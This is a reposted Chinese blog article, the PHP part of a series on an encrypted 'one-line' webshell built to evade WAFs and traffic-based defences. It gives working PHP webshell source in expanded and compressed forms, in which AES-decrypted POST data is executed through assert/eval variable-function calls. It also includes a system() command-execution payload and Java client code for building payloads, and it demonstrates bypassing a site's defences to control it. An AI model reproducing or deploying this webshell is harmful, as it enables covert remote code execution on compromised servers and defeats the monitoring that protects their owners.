zoukankan      html  css  js  c++  java
  • 【原创】利用动态二进制加密实现新型一句话木马之PHP篇

    概述

    本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
    本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:

    利用动态二进制加密实现新型一句话木马之Java篇
    利用动态二进制加密实现新型一句话木马之.net篇
    利用动态二进制加密实现新型一句话木马之php篇
    利用动态二进制加密实现新型一句话木马之客户端篇

    前言

    在第一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》中我们介绍了一种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程大体如下图,详细内容请参考第一篇文章。

    现在我们继续实现该思路的PHP版本。

    实现篇

    服务端实现

    得益于PHP语言的灵活性、松散性,现有的PHP一句话木马存在很多个版本,为了躲避杀毒软件和waf,php的一句话木马变形起来可以说是脑洞大开,精妙绝伦。下面我们来打造一个基于纯二进制流量的PHP一句话木马。当然,我们可以采用的方法远不止这一种,可以在此基础上衍生出各种变形。

    和Java和.NET不同,PHP并不存在手动编译的过程,开发人员只要提供PHP源代码,然后PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,当然也就不存在已编译的二进制类文件。所以这里我们要转变一下思路,在具体实现之前我们先看一个PHP的特性“可变函数”,官方描述为:PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。下面看具体实现,直接上代码吧(为了增加可读性,我对代码进行了一些扩充):

    <?php
    session_start();
    if (isset($_GET['pass']))
    {
    	$key=substr(md5(uniqid(rand())),16);
    	$_SESSION['k']=$key;
    	print $key;
    }
    else
    {
    	$key=$_SESSION['k'];
    	$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    	$arr=explode('|',$decrptContent);
    	$func=$arr[0];
    	$params=$arr[1];
    	$func($params);
    }
    ?>
    

    简单解释一下流程:

    • 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
    • 客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。
    • 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
    • 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")") 。

    压缩一下:

    <?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>
    

    或者:

    <?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>
    

    客户端实现

    由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对PHP平台特异化的部分介绍一下。

    1.远程获取加密密钥

    详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。

    2.动态生成二进制字节数组

    如前文所述,PHP版本的Payload是直接用PHP源代码的形式来编写,样式如下:assert|eval(Payload)。然后取字符串的字节流,为后续的加密做准备。。

    3.已编译类的参数化

    为了实现参数化,客户端对PHP的Payload做了一个内部约定,Payload的格式应为function main(arg1…argN){} main(arg1…argN);

    比如一个最简单的命令执行的Payload:

    function main(cmd)
    {
    	echo system(cmd);
    }
    main('whoami');
    

    当然开发Payload的时候,我们只要专门写函数就行了,后面main函数的调用和参数填充,是由客户端程序自动实现的,相关代码如下:

    public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
    	String basePath="net/rebeyond/behinder/payload/php/";
    	String payloadPath=basePath+clsName+".php";
    	StringBuilder code=new StringBuilder();
    	ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
    	ByteArrayOutputStream bos = new ByteArrayOutputStream();
    	int b;
    	while (-1 != (b = bis.read()))
    		bos.write(b);
    	bis.close();
    	code.append(bos.toString());
    	String paraList="";
    	for (String paraName : params.keySet()) {
    		
    		String paraValue = params.get(paraName);
    
    		code.append(String.format("$%s="%s";", paraName,paraValue));
    		paraList+=",$"+paraName;
    	}
    	paraList=paraList.replaceFirst(",", "");
    	code.append("
    main("+paraList+");");
    	return code.toString().getBytes();
    }
    
    4.加密payload

    将上一步中getParamedPhp函数返回的Payload源代码字符串的字节流,利用握手请求产生的密钥进行AES加密,详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。

    5.发送payload,接收执行结果并解密

    详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。

    案例演示

    下面我找了一个测试站点来演示一下绕过防御系统的效果:

    首先我上传一个常规的PHP一句话木马,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

    然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

    本篇完。

  • 相关阅读:
    数组和字符串的一些常用方法
    函数记忆
    实现一个clone函数,对javascript中的5种数据类型进行值复制
    visual studio 2010问题修复
    url模块、path模块、querystring模块
    静态资源文件使用
    路由表机制
    解决Node.js服务器启动后在浏览器访问时中文显示乱码
    Node.js 初步了解
    Node.js 简介与安装
  • 原文地址:https://www.cnblogs.com/rebeyond/p/10916023.html
Copyright © 2011-2022 走看看